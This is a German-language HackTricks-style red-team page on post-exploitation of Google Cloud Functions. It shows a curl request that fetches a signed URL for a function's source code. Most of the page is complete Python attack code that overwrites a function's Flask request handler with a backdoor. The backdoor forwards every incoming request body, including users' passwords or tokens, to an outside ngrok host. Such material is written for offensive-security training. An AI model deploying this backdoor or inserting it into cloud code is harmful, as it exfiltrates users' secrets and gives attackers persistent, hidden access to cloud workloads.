GCP - Cloud Functions Post Exploitation
Reading time: 3 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Cloud Functions
Finden Sie einige Informationen über Cloud Functions in:
cloudfunctions.functions.sourceCodeGet
Mit dieser Berechtigung können Sie eine signierte URL erhalten, um den Quellcode der Cloud Function herunterzuladen:
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions/{function-name}:generateDownloadUrl \
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'
Cloud-Funktionsanfragen stehlen
Wenn die Cloud-Funktion sensible Informationen verwaltet, die von Benutzern gesendet werden (z. B. Passwörter oder Tokens), könnten Sie mit ausreichenden Berechtigungen den Quellcode der Funktion ändern und diese Informationen exfiltrieren.
Darüber hinaus verwenden Cloud-Funktionen, die in Python ausgeführt werden, flask, um den Webserver bereitzustellen. Wenn Sie irgendwie eine Code-Injektionsanfälligkeit im Flask-Prozess finden (eine SSTI-Anfälligkeit zum Beispiel), ist es möglich, den Funktionshandler zu überschreiben, der die HTTP-Anfragen für eine bösartige Funktion empfangen wird, die die Anfrage exfiltrieren kann, bevor sie an den legitimen Handler weitergeleitet wird.
Zum Beispiel implementiert dieser Code den Angriff:
import functions_framework
# Some python handler code
@functions_framework.http
def hello_http(request, last=False, error=""):
"""HTTP Cloud Function.
Args:
request (flask.Request): The request object.
<https://flask.palletsprojects.com/en/1.1.x/api/#incoming-request-data>
Returns:
The response text, or any set of values that can be turned into a
Response object using `make_response`
<https://flask.palletsprojects.com/en/1.1.x/api/#flask.make_response>.
"""
if not last:
return injection()
else:
if error:
return error
else:
return "Hello World!"
# Attacker code to inject
# Code based on the one from https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py
new_function = """
def exfiltrate(request):
try:
from urllib import request as urllib_request
req = urllib_request.Request("https://8b01-81-33-67-85.ngrok-free.app", data=bytes(str(request._get_current_object().get_data()), "utf-8"), method="POST")
urllib_request.urlopen(req, timeout=0.1)
except Exception as e:
if not "read operation timed out" in str(e):
return str(e)
return ""
def new_http_view_func_wrapper(function, request):
def view_func(path):
try:
error = exfiltrate(request)
return function(request._get_current_object(), last=True, error=error)
except Exception as e:
return str(e)
return view_func
"""
def injection():
global new_function
try:
from flask import current_app as app
import flask
import os
import importlib
import sys
if os.access('/tmp', os.W_OK):
new_function_path = "/tmp/function.py"
with open(new_function_path, "w") as f:
f.write(new_function)
os.chmod(new_function_path, 0o777)
if not os.path.exists('/tmp/function.py'):
return "/tmp/function.py doesn't exists"
# Get relevant function names
handler_fname = os.environ.get("FUNCTION_TARGET") # Cloud Function env variable indicating the name of the function to habdle requests
source_path = os.environ.get("FUNCTION_SOURCE", "./main.py") # Path to the source file of the Cloud Function (./main.py by default)
realpath = os.path.realpath(source_path) # Get full path
# Get the modules representations
spec_handler = importlib.util.spec_from_file_location("main_handler", realpath)
module_handler = importlib.util.module_from_spec(spec_handler)
spec_backdoor = importlib.util.spec_from_file_location('backdoor', '/tmp/function.py')
module_backdoor = importlib.util.module_from_spec(spec_backdoor)
# Load the modules inside the app context
with app.app_context():
spec_handler.loader.exec_module(module_handler)
spec_backdoor.loader.exec_module(module_backdoor)
# make the cloud funtion use as handler the new function
prev_handler = getattr(module_handler, handler_fname)
new_func_wrap = getattr(module_backdoor, 'new_http_view_func_wrapper')
app.view_functions["run"] = new_func_wrap(prev_handler, flask.request)
return "Injection completed!"
except Exception as e:
return str(e)